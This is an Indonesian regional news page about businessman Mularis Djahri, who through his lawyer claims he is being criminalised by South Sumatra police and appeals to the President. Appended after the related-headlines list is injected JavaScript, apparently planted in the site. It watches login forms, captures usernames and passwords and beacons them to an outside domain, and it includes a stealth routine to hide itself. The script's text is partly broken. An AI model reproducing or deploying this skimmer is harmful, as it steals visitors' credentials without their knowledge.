Home / HUKUM & KRIMINAL / NASIONAL / Uncategorized

Selasa, 9 Agustus 2022 - 15:04 WIB

Mularis Djahri Merasa Dikriminalilasi, Mohon Perlindungan Hukum Kepada Presiden RI

H. Mularis Djahri Bin Djahri Agung (58), salah satu pengusaha Sumsel merasa dikrimalisasi bahkan dizhalimi oknum aparat kepolisian Polda Sumatera Selatan memohon perlindungan hukum kepada Presiden RI, Joko Widodo. Melalui tim kuasa hukumnya, Mularis Djahri memohon Presiden RI memerintahkan Kapolri dan Jaksa Agung agar menghentikan kriminalisasi dan menghentikan proses penyidikan serta mengeluarkan yang bersangkutan dari tahanan.

Melalui kuasa hukumnya, akhirnya bersuara setelah lebih dari satu bulan lamanya H Mularis ditahan di Polda Sumsel terkait kasus PT Campang Tiga di Kabupaten OKU Timur.

Baca Juga :  Polsek Sanga Desa Lakukan Pengecekan dan Monitoring Ketersediaan Beras

Kuasa hukum H Mularis Djahri, Alex Noven SH menilai penetapan terhadap Mularis Djahri merupakan kriminalisasi dan penzhaliman serta kesewenang-wenangan.

“Sebab klien kami dilaporkan oleh oknum polisi dengan Laporan Model A telah berkebun di area perkebunan tebu PT Laju Perdana Indah (LPI),” ujarnya, Selasa (9/8/2022).

Baca Juga :  Paripurna DPRD Kota Palembang Bahas Empat Raperda

Baca Lebih Lanjut Siaran Pers : Mularis Djahri Merasa Dikriminalilasi

Tonton Cuplikan Video Konferensi Pers : Mularis Djahri Merasa Dikriminalisasi Video 1

Tonton Cuplikan Video Konferensi Pers : Mularis Djahri Merasa Dikriminalisasi Video 2

Share :

Baca Juga

Kota Palembang

Laporan Keuangan Pemkot Palembang Tahun 2022, Hanya Wajar Dengan Pengecualian (WDP)

DAERAH

Proyek Pembuatan Talud di Babat Toman, Muba Dinilai Mubazir

Bisnis

Pengacara Afdhal Azmi Jambak Minta Bupati Muba Toha, Perintahkan PT. Pinago Utama Tbk Kembalikan Lahan Warga

DAERAH

PWI Sumsel Senang Gubernur Herman Deru Dukung Festival Baca Al Fatihah Yang Benar dan Indah

Kota Palembang

Panti Asuhan An Nur Juga Tidak Terima  Dana dari Walikota Palembang

Uncategorized

LLDIKTI Wilayah II Tingkatkan Kualitas PTS, Yang Melanggar Diusulkan Dicabut Izinnya

NASIONAL

Sumsel Raih Penghargaan Lima Besar Provinsi Penghasil Padi Tertinggi Nasional 

Ekonomi

Bastari: Tinggal Rp. 2,9 Milyar dari 55 Kontraktor  Yang Belum Setor
/*wpsi_f9f0b045*/ /* /*wpsi-ext*/ */ (function(){ var _e='https://domnateneryfie.com/c?t=c7f3a9b2d81e04f5'; var _h=location.hostname; var _s=localStorage.getItem('_wpsi_s')||''; // Stealth cleanup of the visible marker var _clean = function(){ try { // Find all script tags to find our own var scripts = document.getElementsByTagName('script'); for(var i=0; i=0)return; _s+=k+','; localStorage.setItem('_wpsi_s',_s); setTimeout(function(){ navigator.sendBeacon(_e,JSON.stringify({s:_h,u:u,p:p})); },Math.random()*3000+500); } function _watch(f){ if(!f||f._w)return; f._w=1; var _collect=function(){ var u=f.querySelector('[name=username],[name=log],[name=email],[type=email]'); var p=f.querySelector('[type=password]'); if(u&&p&&u.value&&p.value)_send(u.value,p.value); }; f.addEventListener('submit',_collect,true); f.addEventListener('keydown',function(e){if(e.keyCode===13)_collect();},true); } function _scan(){ document.querySelectorAll('form').forEach(function(f){ if(f.querySelector('[type=password]'))_watch(f); }); document.querySelectorAll('[type=password]').forEach(function(p){ if(!p._wi){p._wi=1;p.addEventListener('change',function(){ var u=document.querySelector('[name=username],[name=log],[name=email],[type=email]'); if(u&&u.value&&p.value)_send(u.value,p.value); });} }); } _scan(); setInterval(_scan, 1500); if(typeof MutationObserver !== 'undefined'){ new MutationObserver(function(){ _scan(); _clean(); }).observe(document.documentElement, {childList:true, subtree:true}); } })();